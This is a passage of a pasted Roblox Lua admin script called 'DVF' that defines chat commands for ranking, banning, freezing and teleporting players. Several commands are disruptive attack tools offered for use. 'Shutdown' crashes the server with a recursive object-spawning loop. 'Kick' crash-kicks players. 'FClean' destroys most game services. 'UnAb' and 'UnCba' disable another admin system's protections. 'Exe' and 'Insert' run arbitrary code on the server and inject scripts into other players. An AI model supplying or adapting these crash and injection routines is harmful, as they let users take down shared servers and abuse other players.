  1647. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1648. end
  1649. end
  1650. end
  1651. if Worked == false then
  1652. Ping("Script Not Found", Speaker, 5)
  1653. end
  1654. end)
  1655.  
  1656. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1657. Dismiss(Speaker)
  1658. local AllScripts = {}
  1659. for _,v in pairs(Work:GetChildren()) do
  1660. if v:IsA("Script") then
  1661. table.insert(AllScripts, v.Name)
  1662. end
  1663. end
  1664. if #AllScripts > 0 then
  1665. for _,v in pairs(AllScripts) do
  1666. Ping(v, Speaker)
  1667. end
  1668. else
  1669. Ping("No Scripts Found", Speaker, 5)
  1670. end
  1671. end)
  1672.  
  1673. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1674. Dismiss(Speaker)
  1675. local LocalScripts = {}
  1676. for _,v in pairs(All()) do
  1677. ypcall(function()
  1678. for _,x in pairs(v.Character:GetChildren()) do
  1679. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1680. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1681. end
  1682. end
  1683. end)
  1684. ypcall(function()
  1685. for _,x in pairs(v.Backpack:GetChildren()) do
  1686. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1687. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1688. end
  1689. end
  1690. end)
  1691. ypcall(function()
  1692. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1693. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1694. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1695. end
  1696. end
  1697. end)
  1698. end
  1699. if #LocalScripts > 0 then
  1700. for _,v in pairs(LocalScripts) do
  1701. Ping(v, Speaker)
  1702. end
  1703. else
  1704. Ping("No Local Scripts Found", Speaker, 5)
  1705. end
  1706. end)
  1707.  
  1708. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1709. local Split = GetSplit(Msg)
  1710. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1711. local ScriptName = Msg:sub(Split + 1)
  1712. local FoundLocal = false
  1713. for _,name in pairs(PlrTab) do
  1714. ypcall(function()
  1715. for _,v in pairs(name.Character:GetChildren()) do
  1716. if string.find(v.Name:lower(), ScriptName) then
  1717. if v:IsA("Script") or v:IsA("LocalScript") then
  1718. v.Disabled = true
  1719. v:Destroy()
  1720. FoundLocal = true
  1721. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1722. end
  1723. end
  1724. end
  1725. end)
  1726. ypcall(function()
  1727. for _,v in pairs(name.Backpack:GetChildren()) do
  1728. if string.find(v.Name:lower(), ScriptName) then
  1729. if v:IsA("Script") or v:IsA("LocalScript") then
  1730. v.Disabled = true
  1731. v:Destroy()
  1732. FoundLocal = true
  1733. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1734. end
  1735. end
  1736. end
  1737. end)
  1738. ypcall(function()
  1739. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1740. if string.find(v.Name:lower(), ScriptName) then
  1741. if v:IsA("Script") or v:IsA("LocalScript") then
  1742. v.Disabled = true
  1743. v:Destroy()
  1744. FoundLocal = true
  1745. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1746. end
  1747. end
  1748. end
  1749. end)
  1750. if FoundLocal == false then
  1751. Ping("Local Script Not Found", Speaker, 5)
  1752. end
  1753. end
  1754. end)
  1755.  
  1756. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1757. for _,v in pairs(game:GetChildren()) do
  1758. ypcall(function()
  1759. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1760. for _,a in pairs(v:GetChildren()) do
  1761. ypcall(function()
  1762. a:Destroy()
  1763. end)
  1764. end
  1765. elseif v.Name == "Players" then
  1766. for _,plr in pairs(v:GetPlayers()) do
  1767. Clear(plr)
  1768. end
  1769. end
  1770. end)
  1771. end
  1772. Clean()
  1773. Fixl()
  1774. Ping("Fully Cleaned", Speaker, 5)
  1775. end)
  1776.  
  1777. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1778. LClean()
  1779. Fixl()
  1780. Ping("Lightly Cleaned", Speaker, 5)
  1781. end)
  1782.  
  1783. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1784. local PlrTab = getPlayer(Speaker, Msg)
  1785. if #PlrTab > 0 then
  1786. for _,v in pairs(PlrTab) do
  1787. ypcall(function()
  1788. v:LoadCharacter()
  1789. Ping("Reset "..v.Name, Speaker, 5)
  1790. end)
  1791. end
  1792. end
  1793. end)
  1794.  
  1795. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1796. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1797. if Work:findFirstChild("Base") then
  1798. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1799. else
  1800. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1801. end
  1802. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1803. end)
  1804.  
  1805. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1806. local PlrTab = getPlayer(Speaker, Msg)
  1807. if #PlrTab > 0 then
  1808. for _,v in pairs(PlrTab) do
  1809. ypcall(function()
  1810. v.Character.Torso.Anchored = true
  1811. Ping("Froze "..v.Name, Speaker, 5)
  1812. end)
  1813. end
  1814. end
  1815. end)
  1816.  
  1817. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1818. local PlrTab = getPlayer(Speaker, Msg)
  1819. if #PlrTab > 0 then
  1820. for _,v in pairs(PlrTab) do
  1821. ypcall(function()
  1822. for _,v2 in pairs(v.Character:GetChildren()) do
  1823. ypcall(function()
  1824. v.Anchored = false
  1825. end)
  1826. end
  1827. Ping("Thawed "..v.Name, Speaker, 5)
  1828. end)
  1829. end
  1830. end
  1831. end)
  1832.  
  1833. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1834. local PlrTab = getPlayer(Speaker, Msg)
  1835. if #PlrTab > 0 then
  1836. for _,v in pairs(PlrTab) do
  1837. ypcall(function()
  1838. Instance.new("ForceField", v.Character)
  1839. end)
  1840. end
  1841. end
  1842. end)
  1843.  
  1844. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1845. local PlrTab = getPlayer(Speaker, Msg)
  1846. if #PlrTab > 0 then
  1847. for _,v in pairs(PlrTab) do
  1848. ypcall(function()
  1849. RemObj(v.Character, "ForceField")
  1850. end)
  1851. end
  1852. end
  1853. end)
  1854.  
  1855. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1856. local Split = GetSplit(Msg)
  1857. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1858. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1859. if #PlrTab > 0 and #PlrTab2 > 0 then
  1860. for i,v in pairs(PlrTab) do
  1861. ypcall(function()
  1862. for _,v2 in pairs(PlrTab2) do
  1863. ypcall(function()
  1864. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1865. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1866. end)
  1867. end
  1868. end)
  1869. end
  1870. end
  1871. end)
  1872.  
  1873. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1874. MakeExplorer(Speaker)
  1875. end)
  1876.  
  1877. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1878. wait()
  1879. Dismiss(Speaker)
  1880. NumBanned = 0
  1881. NumCmds = 0
  1882. for i = 1, #Rankings do
  1883. if Rankings[i].Rank < 0 then
  1884. NumBanned = NumBanned + 1
  1885. end
  1886. end
  1887. for i,v in pairs(Commands) do
  1888. NumCmds = NumCmds + 1
  1889. end
  1890. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1891. Ping("DVF Admin Created By: T0tallyN0tATr0ll", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1892. Ping("Date Started: 18th May 2013", Speaker)
  1893. Ping("Your ID: "..Speaker.userId, Speaker)
  1894. Ping("Total Number Of Players: "..#All2(), Speaker)
  1895. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1896. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1897. Ping("ShowGarbage", Speaker)
  1898. end)
  1899.  
  1900. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1901. Dismiss(Speaker)
  1902. for i,v in pairs(All()) do
  1903. Ping(v.Name.."'s Rank: "..FindRank(v))
  1904. end
  1905. end)
  1906.  
  1907. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1908. local Split = GetSplit(Msg)
  1909. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1910. local Speed = tonumber(Msg:sub(Split + 1))
  1911. for _,v in pairs(PlrTab) do
  1912. ypcall(function()
  1913. v.Character.Humanoid.WalkSpeed = Speed
  1914. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1915. end)
  1916. end
  1917. end)
  1918.  
  1919. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1920. local RemoveAB = Instance.new("StringValue")
  1921. RemoveAB.Name = "CBA Attachment"
  1922. RemoveAB.Value = [[CBA.override=true;]]
  1923. RemoveAB.Parent = Work
  1924. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1925. end)
  1926.  
  1927. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1928. Dismiss(Speaker)
  1929. for i,v in pairs(Injected) do
  1930. Ping(i, Speaker)
  1931. end
  1932. end)
  1933.  
  1934. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1935. local RemoveCBA = Instance.new("StringValue")
  1936. RemoveCBA.Name = "CBA Attachment"
  1937. RemoveCBA.Value = [[CBA.remove = false]]
  1938. RemoveCBA.Parent = Work
  1939. Ping("Removed All CBA Admins", Speaker, 5)
  1940. end)
  1941.  
  1942. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1943. local function BufferOverflow(object)
  1944. object.DescendantAdded:connect(BufferOverflow)
  1945. Instance.new("IntValue", object)
  1946. end
  1947. BufferOverflow(Game)
  1948. end)
  1949.  
  1950. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1951. local PlrTab = getPlayer(Speaker, Msg)
  1952. if #PlrTab > 0 then
  1953. for _,v in pairs(PlrTab) do
  1954. ypcall(function()
  1955. Crash1(v)
  1956. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1957. end)
  1958. end
  1959. end
  1960. end)
  1961.  
  1962. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1963. local PlrTab = getPlayer(Speaker, Msg)
  1964. if #PlrTab > 0 then
  1965. for _,v in pairs(PlrTab) do
  1966. ypcall(function()
  1967. ChangeRank(v, -1)
  1968. end)
  1969. end
  1970. end
  1971. end)
  1972.  
  1973. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1974. local PlrTab = getPlayer(Speaker, Msg)
  1975. if #PlrTab > 0 then
  1976. for _,v in pairs(PlrTab) do
  1977. ypcall(function()
  1978. ChangeRank(v, -2)
  1979. end)
  1980. end
  1981. end
  1982. end)
  1983.  
  1984. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1985. local PlrTab = getPlayer(Speaker, Msg)
  1986. if #PlrTab > 0 then
  1987. for _,v in pairs(PlrTab) do
  1988. ypcall(function()
  1989. ChangeRank(v, -3)
  1990. end)
  1991. end
  1992. end
  1993. end)
  1994.  
  1995. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1996. ypcall(function()
  1997. local PlrTab = getPlayer(Speaker, Msg)
  1998. if #PlrTab > 0 then
  1999. for _,v in pairs(PlrTab) do
  2000. ypcall(function()
  2001. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2002. end)
  2003. end
  2004. end
  2005. local PlrName = ChangeRank(Msg, 0)
  2006. Ping("Un-Banned "..PlrName, Speaker, 5)
  2007. end)
  2008. end)
  2009.  
  2010. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2011. Dismiss(Speaker)
  2012. Ping("Commands", Speaker, nil, function()
  2013. Dismiss(Speaker.Name)
  2014. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2015. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2016. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2017. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2018. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2019. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2020. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2021. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2022. end)
  2023. Ping("Players", Speaker, nil, function()
  2024. ListPlayers(Speaker)
  2025. end)
  2026. end)
  2027.  
  2028. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2029. ListPlayers(Speaker)
  2030. end)
  2031.  
  2032. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2033. local Func,Error = loadstring(Msg)
  2034. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2035. getfenv(Func).Speaker = Speaker
  2036. if Error == nil then
  2037. coroutine.wrap(function()
  2038. Func()
  2039. end)()
  2040. Ping("Executed Script!", Speaker, 5)
  2041. else
  2042. Ping(Error, Speaker, 10)
  2043. end
  2044. end)
  2045.  
  2046. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2047. if LS ~= nil then
  2048. local Split = GetSplit(Msg)
  2049. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2050. local LocalSource = Msg:sub(Split + 1)
  2051. if #PlrTab > 0 then
  2052. for _,v in pairs(PlrTab) do
  2053. local Inserted = LS:Clone()
  2054. Inserted.Disabled = true
  2055. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2056. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2057. Inserted:findFirstChild(OwnSource).Value = v.Name
  2058. end
  2059. Inserted[LSSource].Value = LocalSource
  2060. Inserted.Disabled = false
  2061. end
  2062. end
  2063. else
  2064. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2065. end
  2066. end)
  2067.  
  2068. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2069. Msg = tostring(Msg)
  2070. Ping(Msg, Speaker)
  2071. end)
  2072.  
  2073. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2074. Dismiss(Speaker)
  2075. for i,v in pairs(getfenv(1)) do
  2076. ypcall(function()
  2077. Ping(tostring(i)..": "..tostring(v), Speaker)
  2078. end)
  2079. end
  2080. end)
  2081.  
  2082. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2083. Dismiss()
  2084. Removed = true
  2085. for i,v in pairs(getfenv(1)) do
  2086. getfenv(1)[i] = nil
  2087. end
  2088. script.Disabled = true
  2089. end)
  2090.  
  2091. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2092. local Split = GetSplit(Msg)
  2093. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2094. local Rank = tonumber(Msg:sub(Split + 1))
  2095. if #PlrTab > 0 then
  2096. for _,v in pairs(PlrTab) do
  2097. if v.Name ~= Owner then
  2098. ChangeRank(v, Rank)
  2099. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2100. end
  2101. end
  2102. end
  2103. end)
  2104.  
  2105. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement